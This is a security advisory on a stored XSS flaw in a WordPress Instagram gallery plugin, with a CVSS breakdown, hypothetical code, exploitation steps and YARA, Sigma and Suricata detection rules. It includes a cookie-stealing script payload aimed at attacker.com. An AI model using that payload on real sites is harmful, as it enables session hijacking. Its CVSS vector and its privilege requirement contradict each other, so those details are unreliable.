CVE-2025-26742

Executive Summary

CVE-2025-26742 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Gallery for Social Photo feed-instagram-lite by Ghozylab. The vulnerability exists in versions up to and including 1.0.0.35. An attacker can inject arbitrary web scripts into the plugin's database, which are then executed in the browsers of users viewing the affected gallery pages. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue and is not related to Apache or Nginx.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is moderate: if the plugin is compromised at the source, all sites using it could be affected. No known patch is available, and the vendor has not released a fix.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must view the page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is medium due to the requirement for user interaction, but the impact is amplified by the stored nature of the XSS, which can affect multiple users.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (CWE-79). The plugin fails to properly sanitize user-supplied input before storing it in the database and later rendering it on a web page. Specifically, the "Gallery for Social Photo" plugin allows users to configure gallery settings, such as captions, titles, or custom CSS. An attacker with contributor-level access or higher can inject malicious JavaScript into these fields. When an administrator or other user views the gallery page, the injected script executes in their browser context.

The root cause is the use of echo or the_content filter without proper escaping functions like esc_html() or wp_kses_post(). The plugin likely uses echo $some_field directly, allowing HTML/JavaScript to pass through.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (hypothetical):

// In a template file or shortcode handler
echo '<div class="gallery-caption">' . $caption . '</div>';

Patched Code (hypothetical):

// Properly escape output
echo '<div class="gallery-caption">' . esc_html( $caption ) . '</div>';

The patched version would use WordPress escaping functions to neutralize HTML tags.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: An account with at least "Contributor" role on a WordPress site running the vulnerable plugin.
2. Steps:
   • Log in to the WordPress admin panel.
   • Navigate to the plugin settings (e.g., "Gallery for Social Photo").
   • Find a text field that is not properly sanitized (e.g., "Caption" or "Custom CSS").
   • Inject the following payload:

     <script>alert('XSS')</script>
     

   • Save the settings.
   • When an administrator visits the gallery page, the script executes.

Advanced Payload (session hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Hardening)

1. Detection: Monitor for unusual script tags in plugin settings or gallery content.
2. Hardening: Implement a Web Application Firewall (WAF) rule to block <script> tags in POST requests to /wp-admin/admin-ajax.php or plugin-specific endpoints.
3. User Education: Restrict plugin settings access to trusted administrators only.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains containing document.cookie in the query string.
• Host: Presence of <script> tags in the wp_postmeta table for the plugin's meta keys.
• Logs: WordPress debug log entries showing unexpected HTML in plugin fields.

Example IOC (log entry):

[2025-03-15 10:00:00] POST /wp-admin/admin-ajax.php with payload: caption=<script>alert(1)</script>

Detection Engineering

YARA Rule

rule CVE_2025_26742_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Gallery for Social Photo plugin"
        author = "Valters IT"
        date = "2025-03-15"
        reference = "CVE-2025-26742"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = "gallery-for-social-photo"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in Gallery for Social Photo Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts in the Gallery for Social Photo plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=gallery_for_social_photo'
        cs-uri-query|re: '(<script|<img|<svg)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in captions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26742 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=gallery_for_social_photo"; http_client_body; pcre:"/(<script|<img|<svg)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the plugin until a patch is released.
2. Short-term: Implement a WAF rule to block XSS payloads in plugin-specific POST requests.
3. Long-term: The vendor must release a patched version that uses esc_html() or wp_kses_post() for all user-supplied fields.
4. Workaround: Restrict plugin settings access to trusted administrators only.

Valters IT
Securing digital frontiers, one CVE at a time.